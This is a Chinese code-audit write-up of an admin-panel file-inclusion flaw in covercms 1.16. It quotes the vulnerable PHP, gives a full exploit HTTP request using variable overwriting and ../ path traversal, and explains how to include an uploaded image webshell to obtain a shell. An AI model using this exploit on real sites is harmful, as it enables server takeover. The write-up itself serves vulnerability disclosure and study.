[代码审计]covercms 后台getshell
0x00 环境介绍
CMS名称: covercms
运行环境: php 5.6.27-nts + apache + mysql
系统版本: 1.16
漏洞等级:高危
漏洞简介: 后台awnotas.inc.php文件,在包含文件时候未过滤变量直接包含,可利用变量覆盖的方式达到任意文件包含以getshell。
0x01 漏洞详情
文件位置: /admina/awnotas.inc.php ,位置21行,代码缩减了一部分便于我们分析
$chids = array();
foreach($channels as $chid => $channel){ //
if(@$commus[$channel['cuid']]['cclass'] == 'answer'){ //必须满足这里,否则下面会直接退出
$chids[] = $chid;
$commu = read_cache('commu',$channel['cuid']);
if(!empty($commu['setting']['nota'])) $notaenabled = 1;
}
} empty($chids) && amessage('undefanswerchannel'); //如果不满足会直接退出,覆盖不了
empty($notaenabled) && amessage('notaclose'); //$notaenabled变量可以用覆盖的方式 绕过此处判断
$page = !empty($page) ? max(1, intval($page)) : 1;
submitcheck('bfilter') && $page = 1;
if($action == 'awnotasedit'){ //这里 //注入后getshell
//分析页面设置
$nauid = empty($nauid) ? 0 : $nauid; //不设置nauid
if($nauid && $aurl = read_cache('aurl',$nauid)){ //绕过 $u_tplname 被覆盖 $u_tplname=../../robots.txt
$u_tplname = $aurl['tplname'];
foreach(array('lists',) as $var) if($aurl['setting'][$var] !== '') ${'u_'.$var} = explode(',',$aurl['setting'][$var]);
}
...
if(!submitcheck('barcsedit')){ //令这里为false 直接不设置barcsedit变量
if(empty($u_tplname)){
...
}else @include(M_ROOT."./adminp/admina/$u_tplname");//直接包含 上传图片马,getshell
分析代码之后,发现只需要增加一个答疑的channels,覆盖两个变量,便可以通过上传图片马,包含图片马的方式直接getshell。(增加一个答疑channels是必须的,否则代码执行不下去)
操作步骤:
1,登陆后台
2,增加一个答疑的channels。
访问 http://www.target.com/admina.php?entry=channels&action=channeledit
点击添加,特俗交互项目选择答疑,模式名称随便填
3,发送如下请求,包含robots.txt为例
GET /admina.php?entry=awnotas&action=awnotasedit¬aenabled=1&u_tplname=../../robots.txt HTTP/1.1
Host: www.covercms.cc
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.119 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9
Cookie: XPl_userauth=K6SSDCFuMWj6DF2NCB1UiFz9XImRQxVy6bieNTxDczuI7qWaNjsx8jf%2B; bktm_cookie_9=0; bktm_cookie_8=0; bktm_cookie_7=0; bktm_cookie_6=0; bktm_cookie_5=0; bktm_cookie_4=0; bktm_cookie_3=0; bktm_cookie_2=0; bktm_cookie_1=0; bktm_cookie_0=0; XPl_msid=H3pK4A
Connection: close
成功包含
4,上传一个图片马,包含图片马,直接getshell。(直接修改附件增加php后缀是不行的)
因为后台文件上传默认要大于1024k ,所以文件需要大一点。
或者直接修改最小上传限制为0即可
上传成功后会返回图片路径
配合之前的请求,修改一下路径,即可包含getshell。
0x02 总结与思考
配合我之前发的文章,就是一套带走了。
本文章仅用于学习研究之用,请勿用于违法犯罪!!
[代码审计]covercms 后台getshell的更多相关文章
- 【代码审计】后台Getshell的两种常规姿势
0x00 前言 在早些年刚接触web安全的时候,基础套路都是找注入--找后台--找上传点--找数据库备份--Getshell,然而在代码审计的角度,也存在类似的基本操作. 这里结合代码实例介绍白盒Ge ...
- 极致CMS建站系统后台GETSHELL
起因 正在学习代码审计 看到有人提交了一个注入https://www.cnvd.org.cn/flaw/show/CNVD-2019-42775 想试试看还有没有别的漏洞 受影响版本 v1.6.3 - ...
- 16.Tomcat弱口令 && 后台getshell漏洞
Tomcat7+ 弱口令 && 后台getshell漏洞 Tomcat版本:8.0 环境说明 Tomcat支持在后台部署war文件,可以直接将webshell部署到web目录下.其中, ...
- phpmyadmin4.8.1后台getshell
phpmyadmin4.8.1后台getshell 包含文件进行getshell 姿势: ① 建立数据库的,新建表,字段名为一句话木马. 会生成对应的数据库文件,相应文件的路径查看 select @@ ...
- 帝国CMS(EmpireCMS) v7.5后台getshell分析(CVE-2018-18086)
帝国CMS(EmpireCMS) v7.5后台getshell分析(CVE-2018-18086) 一.漏洞描述 EmpireCMS 7.5版本及之前版本在后台备份数据库时,未对数据库表名做验证,通过 ...
- 网站后台getshell
phpmyadmin后台Getshell 获取 web 绝对路径 select @@basedir; 检测是否有写入权限 show global variables like 'secure%' ## ...
- 【漏洞复现】PHPmyadmin 4.8.1后台Getshell新姿势
原文地址:https://mp.weixin.qq.com/s/HZcS2HdUtqz10jUEN57aog 早上看到群里在讨论一个新姿势,phpmyadmin后台getshell,不同于以往需要知道 ...
- Tomcat口令暴力猜解&&后台getshell
Tomcat环境搭建 windows系统xampp搭建tomcat linux yum搭建tomcat 修改tomcat目录下的conf/tomcat-users.xml文件开启管理后台口令认证 &l ...
- Opencart 后台getshell
朋友实战中遇到的,帮忙看后台getshell. 修改日志文件,但是奈何找不到warning这类等级的错误,没办法控制写入的内容,通过sql报错能写入了,但是尖括号却会被实体,使用16进制一样会实体.. ...
随机推荐
- token的理解
今天学习了token,它的英文意思是令牌的意思.在我理解即像通行证一样,在用户登录成功系统后,会为这个用户颁发一个token,这样它去其他系统都免登录,因为有了这个令牌. token的生成我们可以用U ...
- Nginx利用lua剪辑FastDFS图片
Nginx利用lua剪辑FastDFS中的图片 我们经常用FastDFS来做图片服务器,通过nginx来上传或者获取图片.本文要实现的功能是,当客户端要获取不同尺寸的图片是,lua根据url中的尺寸大 ...
- 何凯文每日一句打卡||DAY7
- mysql复杂查询(一)
所谓复杂查询,指涉及多个表.具有嵌套等复杂结构的查询.这里简要介绍典型的几种复杂查询格式. 一.连接查询 连接是区别关系与非关系系统的最重要的标志.通过连接运算符可以实现多个表查询.连接查询主要包括内 ...
- Docker学习笔记四 Docker容器
本文地址:https://www.cnblogs.com/veinyin/p/10439849.html 容器是独立运行的一个或一组应用及他们的运行态环境,对应虚拟机的操作系统和应用. 启动 可 ...
- Linux - awk 文本处理工具二
awk 判断格式 awk '{print ($1>$2)?"第一排"$1:"第二排"$2}' # 条件判断 括号代表if语句判断 "?" ...
- Linux - Port 端口检测方式
ss 和 netstat 区别 netstat是遍历/proc下面每个PID目录: ss直接读/proc/net下面的统计信息. 所以ss执行的时候消耗资源以及消耗的时间都比netstat少很多 ne ...
- Hive笔记之宏(macro)
一.啥是宏 宏可以看做是一个简短的函数,或者是对一个表达式取别名,同时可以将这个表达式中的一些值做成变量调用时传入,比较适合于做分析时为一些临时需要用到很多次的表达式操作封装一下取个简短点的别名来调用 ...
- L0,L1,L2范数,正则化,过拟合
L0范数是指向量中非0元素的个数 L1范数是向量中各个元素的绝对值求和 L2范数是指向量的各个元素平方求和然后取和的平方根 机器学习的目的是使学习到的模型不仅对已知的数据而且对未知的数据有很好的预测能 ...
- python中的*号
from:https://www.douban.com/note/231603832/ 传递实参和定义形参(所谓实参就是调用函数时传入的参数,形参则是定义函数是定义的参数)的时候,你还可以使用两个特殊 ...